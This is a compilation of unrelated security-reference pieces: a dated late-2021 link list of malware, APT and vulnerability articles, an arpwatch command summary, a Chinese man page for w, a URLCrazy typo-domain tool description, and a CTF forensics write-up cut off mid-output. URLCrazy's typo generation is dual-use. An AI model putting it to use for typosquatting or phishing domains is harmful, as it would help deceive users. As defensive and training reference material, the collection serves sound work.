Windows 系统本地提权漏洞及技术分析](http://paper.seebug.org/1753/) - 11.8 [攻击技术研判|DRIDEX木马巧用VEH混淆API调用流程](https://www.freebuf.com/articles/network/303960.html) - 11.8 [美国国防承包商频遭攻击,有可能涉及军事泄密](https://www.freebuf.com/news/303993.html) - 11.9 [僵尸网络Abcbot的进化之路](https://blog.netlab.360.com/abcbot_an_evolving_botnet_cn/) - 11.9 [美在线券商Robinhood承认被攻击,泄露700万用户数据](https://www.freebuf.com/news/304172.html) - 11.9 [APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加](https://www.freebuf.com/vuls/304080.html) - 11.10 [研究人员公布 BrakTooth 蓝牙漏洞利用代码 CISA 敦促供应商尽快修复](https://hackernews.cc/archives/36671) - 11.10 [PhoneSpy: The App-Based Cyberattack Snooping South Korean Citizens](https://blog.zimperium.com/phonespy-the-app-based-cyberattack-snooping-south-korean-citizens/) - 11.10 [TeamTNT攻击Docker挖矿获利](https://www.anquanke.com/post/id/259028) - 11.10 [高风险IP究竟来自哪里?IP定位带你反欺诈](https://www.secpulse.com/archives/168961.html) - 11.10 [Trojan Source:新型供应链攻击?隐藏在源代码中的“幽灵”](https://www.freebuf.com/vuls/304257.html) - 11.11 [When ‘Good Enough’ Security Just Isn’t Enough](https://blog.checkpoint.com/2021/11/11/when-good-enough-security-just-isnt-enough/) - 11.11 [SideCopy组织近期利用中印时事新闻的攻击事件分析](https://www.freebuf.com/articles/paper/304437.html) - 11.11 [Android平台用户小心了,新恶意软件盯上了你们的Instagram账号](https://www.freebuf.com/news/304412.html) - 11.11 [快讯:利用namesilo Parking和Google的自定义页面来传播恶意软件](https://blog.netlab.360.com/li-yong-namesilo-parkinghe-googlede-zi-ding-yi-ye-mian-lai-chuan-bo-e-yi-ruan-jian/) - 11.12 [Malware uses namesilo Parking pages and Google's custom pages to spread](https://blog.netlab.360.com/zhatuniubility-malware-uses-namesilo-parking-pages-and-googles-custom-pages-to-spread/) - 11.12 [朝鲜APT组织Lazarus又又又对安全人员发起攻击](https://www.freebuf.com/news/304518.html) - 11.12 [朝鲜APT组织使用带后门IDA软件攻击安全研究人员](https://www.freebuf.com/articles/paper/304510.html) - 11.12 [间谍软件“登陆”韩国,数千民众遭受攻击](https://www.freebuf.com/news/304494.html) - 11.12 [The BotenaGo Botnet Targets IoT Devices](https://heimdalsecurity.com/blog/the-botenago-botnet-targets-iot-devices/) - 11.12 [恶意软件即服务,银行木马使用组件发起定向攻击](http://blog.nsfocus.net/dnanbot-id/) - 11.12 [攻击推理-如何利用威胁情报报告生成可用攻击子图](http://blog.nsfocus.net/ioc-cti/) - 11.12 [深入研究 Snake Keylogger 的新变种恶意软件](https://hackernews.cc/archives/36699) - 11.13 [Lyceum 黑客团伙“重出江湖”,以色列、沙特阿拉伯等国惨遭毒手](https://www.freebuf.com/news/304554.html) - 11.13 [Void Balaur黑客雇佣组织 正在出售被盗邮箱和高敏数据](https://www.anquanke.com/post/id/259114) - 11.14 [内网渗透之横向移动:使用AnyDesk进行远程控制](https://www.freebuf.com/articles/web/304534.html) - 11.15 [macOS曝出零日漏洞,有攻击者借此针对中文用户](https://www.freebuf.com/news/304753.html) - 11.15 [FBI被黑客攻击,对外发送大量虚假警告邮件](https://www.freebuf.com/news/304754.html) - 11.15 [相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击](https://www.freebuf.com/articles/paper/304826.html) - 11.15 [KdcSponge,NGLite,Godzilla Webshell 在定向攻击中的应用](http://paper.seebug.org/1756/) - 11.15 [勒索软件即服务与IAB产业浅析](https://www.secpulse.com/archives/169331.html) - 11.15 [美国 FBI 系统被入侵 黑客向 10 万邮箱发送假冒邮件](https://hackernews.cc/archives/36711) - 11.15 [GravityRAT Distributed by Bogus End-to-end Encrypted App](https://heimdalsecurity.com/blog/gravityrat-distributed-by-bogus-end-to-end-encrypted-app/) - 11.16 [駭客使用新的 Linux 惡意程式攻擊 Huawei Cloud](https://blog.trendmicro.com.tw/?p=70482) - 11.16 [Researchers Demonstrate New Way to Detect MitM Phishing Kits in the Wild](https://thehackernews.com/2021/11/researchers-demonstrate-new-way-to.html) - 11.16 [SharkBot — A New Android Trojan Stealing Banking and Cryptocurrency Accounts](https://thehackernews.com/2021/11/sharkbot-new-android-trojan-stealing.html) - 11.16 [研究人员展示了针对 Tor 加密流量的新指纹攻击](https://hackernews.cc/archives/36730) - 11.16 [Moses黑客组织称对以色列实体网络攻击负责](https://www.anquanke.com/post/id/259540) - 11.16 [Hadoop Yarn RPC 0 Day在野利用分析与传播手段披露](https://www.freebuf.com/articles/network/304838.html) - 11.16 [Magecart攻击日渐“猖獗”,受害企业数量破万](https://www.freebuf.com/news/304894.html) - 11.16 [疑似Sidecopy组织以军事题材针对印度发起攻击](https://www.freebuf.com/news/304857.html) - 11.16 [因Squirrelwaffle的兴起,银行木马QBot卷土重来](https://www.freebuf.com/news/304864.html) - 11.17 [Emotet 垃圾邮件软件在全球范围内攻击邮箱](https://hackernews.cc/archives/36742) - 11.17 [Kunyu (坤舆) - 更高效的企业资产收集](http://paper.seebug.org/1758/) - 11.17 [春风吹又生,Emotet僵尸网络 “死灰复燃”](https://www.freebuf.com/news/305041.html) - 11.17 [欧美地区现新型Android系统银行恶意软件](https://www.freebuf.com/articles/305038.html) - 11.18 [North Korean Hacking Group Targets Diplomats, Forgoes Malware](https://www.darkreading.com/threat-intelligence/north-korean-groups-focus-on-financial-gain-persistence) - 11.18 [CS服务器隐匿自身操作](https://www.secpulse.com/archives/169634.html) - 11.18 [研究员发现冒充哈萨克斯坦卫生部的定向攻击,可能出于间谍目的](https://www.freebuf.com/articles/system/304890.html) - 11.18 [账号可能不保!TikTok 现钓鱼邮件骗局](https://www.freebuf.com/articles/305146.html) - 11.18 [白名单之殇:Specter僵尸网络滥用ClouDNS服务,github.com无辜躺枪](https://blog.netlab.360.com/specter-domain-whitelist-abuse/) - 11.18 [AvosLocker勒索病毒来袭,或存在针对性定向攻击](https://www.secpulse.com/archives/169476.html) - 11.19 [双平台传播——活跃的H2Miner组织挖矿分析](https://www.secpulse.com/archives/169719.html) - 11.19 [BinaryAI引擎:斩杀挖矿木马的利剑](https://www.freebuf.com/news/305033.html) - 11.20 [North Korean Hackers Found Behind a Range of Credential Theft Campaigns](https://thehackernews.com/2021/11/north-korean-hackers-found-behind-range.html) - 11.20 [源海拾贝 | Savior 渗透测试报告自动生成工具](https://www.anquanke.com/post/id/259255) - 11.21 [虚拟货币挖矿检测与防御](https://www.freebuf.com/geek/305211.html) - 11.22 [近期巴基斯坦APT组织SideCopy针对印度军事训练营的鱼叉攻击活动](http://blog.nsfocus.net/apt-sidecopy/) - 11.22 [网络安全—如何从IP源地址角度,预防DDoS攻击?](https://www.secpulse.com/archives/169755.html) - 11.22 [4G LTE 网络中基于IMS的短信业务带来的新的安全威胁](https://www.anquanke.com/post/id/259466) - 11.22 [PT632电信“老猫”分析](https://www.anquanke.com/post/id/259503) - 11.22 [Mbrcodes勒索软件家族分析与解密](https://www.freebuf.com/articles/paper/305244.html) - 11.22 [Black Hat Europe 2021 议题解读: Wi-Fi Mesh中的安全攻击面](http://paper.seebug.org/1762/) - 11.23 [条件上传之竞争漏洞](https://www.freebuf.com/articles/web/305581.html) - 11.23 [Android 银行木马 BrazKing 带着显着的规避改进回来了](https://www.freebuf.com/news/305652.html) - 11.23 [疑似Kimsuky组织攻击活动披露](https://www.anquanke.com/post/id/260423) - 11.23 [针对移动和物联网设备已知漏洞的混合固件分析](https://www.anquanke.com/post/id/259246) - 11.23 [相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击](https://www.anquanke.com/post/id/259453) - 11.23 [Holiday Scams Drive SMS Phishing Attacks](https://www.darkreading.com/threat-intelligence/holiday-scams-drive-sms-phishing-attacks) - 11.24 [9.3M+ Androids Running ‘Malicious’ Games from Huawei AppGallery](https://threatpost.com/9m-androids-malware-games-huawei-appgallery/176581/) - 11.24 [威胁行为者漏洞利用新趋势](https://www.freebuf.com/vuls/305726.html) - 11.24 [朝鲜攻击者通过恶意Blog向韩国传播恶意程序](https://www.anquanke.com/post/id/259258) - 11.24 [海莲花后渗透阶段白加黑组件小结](https://www.anquanke.com/post/id/260180) - 11.25 [国内虚拟币挖矿活动态势分析报告](https://www.freebuf.com/articles/paper/305806.html) - 11.25 [安全知识图谱|构建APT组织图谱,打破信息孤岛效应](http://blog.nsfocus.net/apt-cyber-security/) - 11.25 [BurpCrypto: 万能网站密码爆破测试工具](http://paper.seebug.org/1767/) - 11.25 [联发科曝“窃听漏洞”,影响全球37%的智能设备](https://www.freebuf.com/news/305914.html) - 11.25 [“幼象”组织在南亚地区的网络攻击活动分析](https://www.secpulse.com/archives/169796.html) - 11.25 [警惕更加阴险的Android银行恶意软件——BrazKing](https://www.freebuf.com/news/305905.html) - 11.26 [Crypto Hackers Using Babadeda Crypter to Make Their Malware Undetectable](https://thehackernews.com/2021/11/crypto-hackers-using-babadeda-crypter.html) - 11.26 [CronRAT: A New Linux Malware That’s Scheduled to Run on February 31st](https://thehackernews.com/2021/11/cronrat-new-linux-malware-thats.html) - 11.26 [APT C-23 group targets Middle East with an enhanced Android spyware variant](https://securityaffairs.co/wordpress/125010/apt/apt-c-23-middle-east-android-spyware.html?utm_source=rss&utm_medium=rss&utm_campaign=apt-c-23-middle-east-android-spyware) - 11.26 [职业“羊毛党”非法获利数千亿元!这些羊毛账号哪里来?](https://www.anquanke.com/post/id/260616) - 11.26 [软件供应链安全现状分析与对策建议](https://www.freebuf.com/articles/neopoints/306219.html) - 11.26 [使用 ProxyShell 和 ProxyLogon 劫持邮件链](https://paper.seebug.org/1764/) - 11.26 [CVE-2019-10999 Dlink IP 摄像头缓冲区溢出](https://www.anquanke.com/post/id/259210) - 11.26 [通过视频网站传播的RedLine窃密木马分析](https://www.secpulse.com/archives/170167.html) - 11.26 [API防护的最佳实践(From Gartner)](https://www.freebuf.com/news/306073.html) - 11.26 [“黑五来临”,小心犯罪分子盯上你的钱包](https://www.freebuf.com/news/306085.html) - 11.26 [解密大型金融诈骗—严惩违法行为保护 公民个人信息安全](https://www.secpulse.com/archives/170103.html) - 11.26 [HTTP响应拆分漏洞](https://www.secpulse.com/archives/170098.html) - 11.26 [数据安全场景深度解析:数据暴露面风险](https://www.freebuf.com/articles/database/306008.html) - 11.28 [RATDispenser, a new stealthy JavaScript loader used to distribute RATs](https://securityaffairs.co/wordpress/125078/malware/ratdispenser-spreads-rats.html?utm_source=rss&utm_medium=rss&utm_campaign=ratdispenser-spreads-rats) - 11.29 [黑客利用恶意软件 Tardigrade 攻击生物制造设施](https://hackernews.cc/archives/36872) - 11.29 [苹果公司发出警告后 Pegasus 黑客受害者陆续浮出水面](https://hackernews.cc/archives/36867) - 11.29 [供应链安全隐患迫在眉睫,2021年全球APT攻击暗藏何种趋势?](https://www.secpulse.com/archives/170222.html) - 11.29 [钓鱼邮件盯上宜家:传播可能已造成恶劣影响](https://www.freebuf.com/news/306367.html) - 11.29 [《全球网络犯罪报告》:哪些国家面临的风险最大?](https://www.freebuf.com/articles/network/306215.html) - 11.29 [安卓 APT 间谍软件 GnatSpy 分析](http://paper.seebug.org/1771/) - 11.29 [安全知识图谱 | APT组织画像归因](http://blog.nsfocus.net/apt-cyber-security-2/) - 11.30 [攻击技术研判|从朝鲜APT组织IDA后门样本看低投入高回报的炮灰样本检出率](http://blog.nsfocus.net/apt-ida/) - 11.30 [小型电商平台应对网络欺诈的一些措施](https://www.freebuf.com/articles/es/306411.html) - 11.30 [“漏洞利用之王”HolesWarm挖矿木马新增大量攻击模块强势来袭](https://www.secpulse.com/archives/170355.html) - 11.30 [hancitor unpack](https://www.anquanke.com/post/id/260635) - 0x11 - 12.1 [Smishing Botnets Going Viral in Iran](https://research.checkpoint.com/2021/smishing-botnets-going-viral-in-iran/) - 12.1 [Bazar 勒索软件深度分析](http://paper.seebug.org/1774/) - 12.1 [芬兰发出严重警报!Flubot 恶意软件再次肆虐安卓平台](https://www.freebuf.com/news/306735.html) - 12.1 [EwDoor僵尸网络,正在攻击美国AT&T用户](https://blog.netlab.360.com/warning-ewdoor-botnet-is-attacking-att-customers_cn/) - 12.1 [4种Android 银行木马已在今年感染超30万台设备](https://www.freebuf.com/articles/306600.html) - 12.2 [Chrome-V8-Issue-880207](https://www.freebuf.com/articles/network/306833.html) - 12.2 [研究发现,“Sabbath”始终瞄准美国和加拿大的关键基础设施](https://www.freebuf.com/articles/306969.html) - 12.2 [Serverless 扫描技术研究及应用](http://paper.seebug.org/1776/) - 12.2 [论高级威胁的本质和攻击力量化研究](http://paper.seebug.org/1775/) - 12.2 [实战|记一次某企业被入侵的远程应急响应](https://www.secpulse.com/archives/170491.html) - 12.3 [黑产揭秘:“断卡行动”这么严,为什么我们每天还会接到诈骗和骚扰电话?](https://www.anquanke.com/post/id/261757) - 12.3 [新能源行业的移动端钓鱼攻击激增161%](https://www.freebuf.com/news/307062.html) - 12.3 [1803名“钱骡”被捕,国际反洗钱行动有了新进展](https://www.freebuf.com/news/307049.html) - 12.3 [研究发现 17 种恶意框架用于攻击空隙网络](https://hackernews.cc/archives/36913) - 12.4 [硬核截杀JavaXminer挖矿木马,360EDR破解“矿难”困局](https://www.anquanke.com/post/id/261861) - 12.5 [浅谈反作弊实践经验](https://www.anquanke.com/post/id/261796) - 12.6 [网络黑客正利用虚假广告来传播恶意程序](https://hackernews.cc/archives/36941) - 12.6 [我竟然只是个渗透测试工具人 | 技术精选0115](https://www.secpulse.com/archives/170635.html) - 12.6 [14种新型浏览器攻击出现,影响谷歌、微软、苹果和火狐浏览器](https://www.freebuf.com/news/307554.html) - 12.6 [解析服务提供商对非授权域名解析情况的评估](https://blog.netlab.360.com/analysis-of-popular-domain-names-by-non-authorized-resolvers/) - 12.6 [ManageEngine ADSelfService Plus CVE-2021-40539 漏洞分析](https://www.anquanke.com/post/id/260904) - 12.7 [东亚黑客组织BlackTech针对金融、教育等行业展开攻击](https://www.freebuf.com/articles/paper/307601.html) - 12.7 [Eltima SDK Contain Multiple Vulnerabilities Affecting Several Cloud Service Provides](https://thehackernews.com/2021/12/eltima-sdk-contain-multiple.html) - 12.8 [涉及百万台主机,谷歌宣布摧毁Glupteba僵尸网络](https://www.freebuf.com/news/307897.html) - 12.8 [ADCS 攻击面挖掘与利用](http://paper.seebug.org/1781/) - 12.8 [abc-hello僵尸网络在行动](https://www.freebuf.com/articles/network/307575.html) - 12.9 [东亚黑客组织BlackTech针对金融、教育等行业展开攻击](https://www.anquanke.com/post/id/262276) - 12.9 [边界设备SNMP服务攻击思考](https://www.anquanke.com/post/id/260832) - 12.10 [StrongPity Malware Spread Using Malicious Notepad++ Installers](https://heimdalsecurity.com/blog/strongpity-malware-spread-using-malicious-notepad-installers/) - 12.10 [Dark Mirai 봇넷, TP-Link 라우터의 RCE 취약점 통해 배포돼](https://blog.alyac.co.kr/4340) - 12.10 [Apache Log4j2 远程代码执行漏洞处置手册](http://blog.nsfocus.net/apache-log4j2/) - 12.11 [威胁快讯:Log4j漏洞已经被用来组建botnet,针对Linux设备](https://blog.netlab.360.com/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/) - 12.13 [Apache Log4j 2远程代码执行漏洞的初步分析与处置建议](https://www.secpulse.com/archives/171070.html) - 12.13 [Log4j2 RCE黑产从业者的狂欢?](https://www.secpulse.com/archives/171034.html) - 12.10 [Moobot 僵尸网络正利用海康威视产品漏洞传播](https://www.freebuf.com/news/308208.html) - 12.10 [“url-all-info”浏览器恶意插件窃密木马分析](https://www.freebuf.com/articles/network/307992.html) - 12.12 [应急响应-非法黑产溯源](https://www.freebuf.com/articles/database/308203.html) - 12.12 [恶意软件即服务的践行者:窃密木马RedLine](https://www.freebuf.com/articles/network/308274.html) - 12.12 [ALPHV BlackCat ——今年最复杂的勒索软件](https://www.freebuf.com/news/308320.html) - 12.13 [今年,美国人因礼品卡诈骗损失超1.48亿美元](https://www.freebuf.com/news/308646.html) - 12.13 [已有10个家族的恶意样本利用Log4j2漏洞传播](https://blog.netlab.360.com/yi-jing-you-xxxge-jia-zu-de-botnetli-yong-log4shelllou-dong-chuan-bo-wei-da-bu-ding-de-gan-jin-liao/) - 12.14 [窃取信息恶意软件 TinyNuke 再次攻击法国用户](https://hackernews.cc/archives/37004) - 12.14 [基于异常行为检测CobaltStrike](https://www.anquanke.com/post/id/262742) - 12.14 [Karakurt:一个新型数据盗窃和勒索的黑客组织](https://www.freebuf.com/news/310241.html) - 12.14 [基于规则向量化的HTTP资产识别方法探索](http://blog.nsfocus.net/http-banner-2/) - 12.15 [StealthLoader Malware Leveraging Log4Shell](https://research.checkpoint.com/2021/stealthloader-malware-leveraging-log4shell/) - 12.15 [log4shell 分析](http://paper.seebug.org/1788/) - 12.15 [某DEX_VMP安全分析与还原](https://www.anquanke.com/post/id/263197) - 12.15 [老牌安卓银行恶意软件Anubis正对多款金融应用构成威胁](https://www.freebuf.com/articles/311526.html) - 12.16 [Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions](https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/) - 12.16 [网络钓鱼攻击瞄准韩国,传播Agent Tesla新变种](https://www.freebuf.com/articles/network/312789.html) - 12.17 [Apache Log4j2 RCE原理验证和复现(附CVE-2021-4101应急处置)](https://www.freebuf.com/sectool/313774.html) - 12.17 [New PseudoManuscrypt Malware Infected Over 35,000 Computers in 2021](https://thehackernews.com/2021/12/new-pseudomanuscrypt-malware-infected.html) - 12.17 [东北亚活跃分子APT组织Kimsuky之攻击篇](http://blog.nsfocus.net/apt-kimsuky-2/) - 12.18 [应急响应:没有痕迹该如何进行攻击溯源](https://www.freebuf.com/articles/web/313394.html) - 12.20 [Alleged APT implanted a backdoor in the network of a US federal agency](https://securityaffairs.co/wordpress/125807/apt/backdoor-implanted-on-us-federal-agency-network.html) - 12.20 [Over 500,000 Android Users Downloaded a New Joker Malware App from Play Store](https://thehackernews.com/2021/12/over-500000-android-users-downloaded.html) - 12.20 [Google 研究人员:Pegasus iPhone 攻击是有史以来最复杂的漏洞之一](https://hackernews.cc/archives/37066) - 12.20 [继“永恒之蓝”后,TellYouThePass 正利用 Log4Shell卷土重来](https://www.freebuf.com/articles/316267.html) - 12.20 [DOM-XSS 自动检测与验证模型](https://www.anquanke.com/post/id/263107) - 12.20 [Android Application Testing Using Windows 11 and Windows Subsystem for Android](https://sensepost.com/blog/2021/android-application-testing-using-windows-11-and-windows-subsystem-for-android/) - 12.21 [印度国防参谋长坠机:SideCopy APT组织趁火打劫](https://www.freebuf.com/articles/paper/316541.html) - 12.21 [组策略(GPO)利用与横向移动](https://www.freebuf.com/articles/web/316595.html) - 12.21 [A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution](https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html) - 12.21 [PyMICROPSIA:双尾蝎的新型信息窃取木马再度来袭](https://www.freebuf.com/articles/paper/316794.html) - 12.21 [PseudoManuscrypt :一次大规模的间谍软件攻击活动](http://paper.seebug.org/1790/) - 12.21 [T-Mobile 今年已拦截210亿个诈骗电话,一半以上与车辆保修诈骗有关](https://www.freebuf.com/news/316695.html) - 12.21 [从蜜罐视角看Apache Log4j2漏洞攻击趋势](https://blog.netlab.360.com/apache-log4j2-vulnerability-attack-trend-from-the-perspective-of-honeypot/) - 12.22 [联邦学习中的后门攻击](https://www.anquanke.com/post/id/262839) - 12.22 [组策略(GPO)利用与横向移动](https://www.secpulse.com/archives/171889.html) - 12.23 [非法控制330余万台老年机,覆盖全国的“接码”+信息倒卖产业](https://www.anquanke.com/post/id/263907) - 12.23 [DeFi平台Grim Finance攻击事件分析](https://www.anquanke.com/post/id/263817) - 12.23 [DNS Flood类型攻防梳理和思考](https://www.freebuf.com/articles/network/316951.html) - 12.23 [安全知识图谱 | 绘制软件供应链知识图谱,强化风险分析](https://www.freebuf.com/news/316969.html) - 12.23 [“杀不掉”的“虚灵矿工”——门罗币挖矿木马分析报告](https://www.freebuf.com/news/317132.html) - 12.23 [调查显示,60%项目中带有已知漏洞未打补丁的软件可让攻击者进一步渗透](https://www.freebuf.com/news/317105.html) - 12.24 [恶意软件 Blister 秘密潜入 Windows 系统](https://hackernews.cc/archives/37116) - 12.24 [从研究工控设备到发现供应链威胁](http://blog.nsfocus.net/codesys-runtime/) - 12.24 [CVE-2021-31956 漏洞分析](http://paper.seebug.org/1798/) - 12.25 [疑似“肚脑虫”APT组织近期针对孟加拉国的攻击活动分析](https://www.freebuf.com/articles/paper/317244.html) - 12.27 [易盾SaaS系统资损防控体系建设](https://www.freebuf.com/articles/network/317560.html) - 12.27 [探秘 ROS 安全系列(一) 机器人操作系统 ROS 及其安全演进](http://paper.seebug.org/1799/) - 12.27 [探秘 ROS 安全系列(二) 机器人操作系统 ROS 安全方案及趋势](http://paper.seebug.org/1800/) - 12.27 [网上的“考勤打卡神器”,其实是黑灰产作弊工具](https://www.freebuf.com/articles/neopoints/317492.html) - 12.27 [专家详述 macOS 漏洞 :可让恶意软件绕过安全门卫](https://www.freebuf.com/news/317483.html) - 12.27 [New Android Malware Targeting Brazil's Itaú Unibanco Bank Customers](https://thehackernews.com/2021/12/new-android-malware-targeting-brazils_27.html) - 12.28 [Emotet木马"卷土重来"](https://www.anquanke.com/post/id/263872) - 12.28 [APT—典型APT攻击的案例](https://www.secpulse.com/archives/172097.html) - 12.28 [多方围剿,老赖现形:一场与反催收黑产的持久战争](https://www.freebuf.com/geek/317583.html) - 12.28 [威联通NAS设备在圣诞期间遭到了勒索攻击](https://www.freebuf.com/news/317647.html) - 12.28 [Web应用攻击激增,该保护 API 了!](https://www.freebuf.com/news/317531.html) - 12.29 [Unity游戏反破解之道:代码破解与资源窃取,从攻击风险入手](https://www.freebuf.com/articles/game/317615.html) - 12.30 [T-Mobile称:用户数据泄露由SIM卡交换攻击引起](https://www.freebuf.com/news/317980.html) - 12.30 [起底千亿级“养号控评”黑灰产业链,电诈幕后推手“曝光”](https://www.anquanke.com/post/id/264471) - 12.30 [云原生之 Kubernetes 安全](http://paper.seebug.org/1803/) - 12.30 [IoT蜜罐展示物联网设备存在的网络威胁](https://www.freebuf.com/articles/network/317908.html) - 12.30 [大型车企隐秘接口连续被泄露 我们该如何盘点公司资产](https://www.freebuf.com/articles/es/317866.html) - 12.30 [Name impersonation and KDC bamboozling漏洞分析](https://www.anquanke.com/post/id/264500) - 12.30 [New iLOBleed Rootkit Targeting HP Enterprise Servers with Data Wiping Attacks](https://thehackernews.com/2021/12/new-ilobleed-rootkit-targeting-hp.html) - 12.30 [针对中东地区用户的APT变种样本分析报告](https://www.freebuf.com/articles/paper/317691.html) - 12.31 [Merlin的魔法——一款后渗透C&C平台分析之一](https://www.anquanke.com/post/id/263909) - 12.31 [Hybrid Fuzzing Paper Summary](https://www.anquanke.com/post/id/263725) - 12.31 [Pwn2Own-Safari 漏洞 CVE-2021-30734 分析与利用](http://paper.seebug.org/1804/) - 12.31 [如何保护深度学习系统-后门防御](https://www.anquanke.com/post/id/264190) - 12.31 [新型恶意软件 iLOBleed Rootkit,首次针对惠普 iLO 固件](https://www.freebuf.com/articles/318026.html) **** ##关于 author: [drov_liu](none)
sec-knowleage
arpwatch === 监听网络上ARP的记录 ## 补充说明 **arpwatch命令** 用来监听网络上arp的记录。 ### 语法 ```shell arpwatch(选项) ``` ### 选项 ```shell -d:启动排错模式; -f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat; -i<接口>:指定监听ARP的接口,预设的接口为eth0; -r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听。 ```
sec-knowleage
.\" -*-Nroff-*- .\" .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH W 1 2012年5月 procps\-ng 用户命令 .SH 名称 w \- 显示已登录用户以及他们正在干什么。 .SH 概述 \fBw\fP [\fI选项\fP] \fI用户\fP [...] .SH 描述 \fBw\fP 显示当前该机器上有关用户的信息,以及他们的进程。第一行按顺序显示当前时间、机器开机运行至今的时长、当前有多少用户已登录、以及机器在过去一分钟、五分钟和十五分钟的平均负载。 .PP 对每个用户,会显示下列条目:登录名、tty 名、远程主机、登录时间、闲置时间、JCPU、PCPU 和当前进程的命令行。 .PP JCPU 时间是当前附加到 tty 上的所有进程所使用的时间。它不包括过去在后台运行的工作,但是包括当前正在后台运行的工作。 .PP PCPU 时间是当前进程所用的时间,即对应“what”一栏的进程名。 .SH 命令行选项 .TP \fB\-h\fP, \fB\-\-no\-header\fP 不要打印头行。 .TP \fB\-u\fP, \fB\-\-no\-current\fP 在处理得到当前进程与 CPU 时间时忽视用户名。要展示其效果,请尝试进行一次“su”然后尝试“w”和“w \-u”。 .TP \fB\-s\fP, \fB\-\-short\fP 使用短格式。不要打印登录时间、JCPU 和 PCPU 时间。 .TP \fB\-f\fP, \fB\-\-from\fP 切换对 \fBfrom\fP(远程主机名)一栏的打印与否。发布时的默认值是不打印 \fBfrom\fP 栏,尽管您的系统管理员或者发行版维护者可能提供一个 \fBfrom\fP 栏默认显示的编译版本。 .TP \fB\-\-help\fP 显示帮助信息并退出。 .TP \fB\-i\fP, \fB\-\-ip\-addr\fP 为 \fBfrom\fP 一栏显示显示 IP 地址而非主机名。 .TP \fB\-V\fP, \fB\-\-version\fP 显示版本信息。 .TP \fB\-o\fP, \fB\-\-old\-style\fP 旧的输出风格。为少于一分钟的闲置时间打印空白字符。 .TP \fBuser \fP 只为指定的用户显示相关信息。 .SH 环境变量 .TP PROCPS_USERLEN 将覆盖用户名一栏的默认宽度。默认值为 8。 .TP PROCPS_FROMLEN 将覆盖 from 一栏的默认宽度。默认值为 16。 .SH 文件 .TP \fI/var/run/utmp\fP 与已登录用户有关的信息 .TP \fI/proc\fP 进程信息 .SH 参见 \fBfree\fP(1), \fBps\fP(1), \fBtop\fP(1), \fBuptime\fP(1), \fButmp\fP(5), \fBwho\fP(1) .SH 作者 \fBw\fP 基于 .UR greenfie@\:gauss.\:rutgers.\:edu Larry Greenfield .UE 和 .UR johnsonm@\:redhat.\:com Michael K. Johnson .UE 的版本,Charles Blake 做了几乎彻底的重写。 .SH 报告错误 请将错误报告发送至 .UR procps@freelists.org .UE
sec-knowleage
# URLCrazy软件包描述 生成和测试域名错误及其变体,以检测域名欺骗、URL劫持、网络钓鱼、企业间谍等活动。 特点 - 能生成15种类型的域名变体 - 已知超过8000个常见的拼写错误 - 支持随机性(宇宙射线引发)的位翻转 - 多种键盘布局(qwerty、azerty、qwertz、dvorak) - 域名变体有效性检查 - 测试域名变体是否正在使用 - 评估域名变体的流行度 资料来源:http://www.morningstarsecurity.com/research/urlcrazy [URLCrazy首页](http://www.morningstarsecurity.com/research/urlcrazy) | [Kali URLCrazy资源](http://git.kali.org/gitweb/?p=packages/urlcrazy.git;a=summary) - 作者:Andrew Horton - 许可证:Non-commercial ## URLCrazy包含的工具 ### urlcrazy - 域名错误生成器 ``` root@kali:~# urlcrazy -h URLCrazy version 0.5 by Andrew Horton (urbanadventurer) http://www.morningstarsecurity.com/research/urlcrazy 生成和测试域名错误及其变体,以检测域名欺骗、URL劫持、网络钓鱼、企业间谍等活动。 支持以下域名变体: 字符遗漏、字符重复、相邻字符交换、相邻字符替换、双重字符替换、相邻字符插入、缺少点、条形破折号、 单数或复数、常见拼写错误、元音互换、同音词、位翻转(宇宙射线)、同形异义、顶级域名错误和二级域名错误。 用法:/usr/bin/urlcrazy [选项] 域名 选项 -k,--keyboard=LAYOUT 选项有:qwerty、azerty、qwertz、dvorak(默认:qwerty) -p,--popularity 使用Google检查域名流行度 -r,--no-resolve 不进行域名解析 -i,--show-invalid 显示无效的域名 -f,--format=TYPE Human readable或CSV(默认: human readable) -o,--output=FILE 输出文件 -h,--help 显示帮助信息 -v,--version 打印版本信息。这个版本是0.5 ``` ## urlcrazy用法示例 使用dvorak键盘布局(-k dvorak)搜索网址,不对给定域(example.com)解析主机名(-r): ``` root@kali:~# urlcrazy -k dvorak -r example.com URLCrazy Domain Report Domain : example.com Keyboard : dvorak At : 2014-05-13 17:04:01 -0600 # Please wait. 95 hostnames to process Typo Type Typo CC-A Extn --------------------------------------------------- Character Omission eample.com ? com Character Omission examle.com ? com Character Omission exampe.com ? com Character Omission exampl.com ? com Character Omission example.cm ? cm Character Omission exaple.com ? com ``` 原文链接:[http://tools.kali.org/information-gathering/urlcrazy](http://tools.kali.org/information-gathering/urlcrazy)
sec-knowleage
# I heard you like files Misc, 306 points ## Description: > Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG. A PNG file was attached. ## Solution: We start with inspecting the PNG file. ```console root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files# file art.png art.png: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files# pngcheck art.png art.png additional data after IEND chunk ERROR: art.png ``` This is indeed a PNG file (we can even view the image), but `pngcheck` claims that there is additional data after the IEND chunk. Let's try to extract it with `binwalk`: ```console root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files# binwalk --dd=".*" art.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 3408641 0x340301 PDF document, version: "1.5" 3408712 0x340348 Zlib compressed data, default compression 3412206 0x3410EE Zlib compressed data, default compression 3419203 0x342C43 Zlib compressed data, default compression 3419994 0x342F5A Zlib compressed data, default 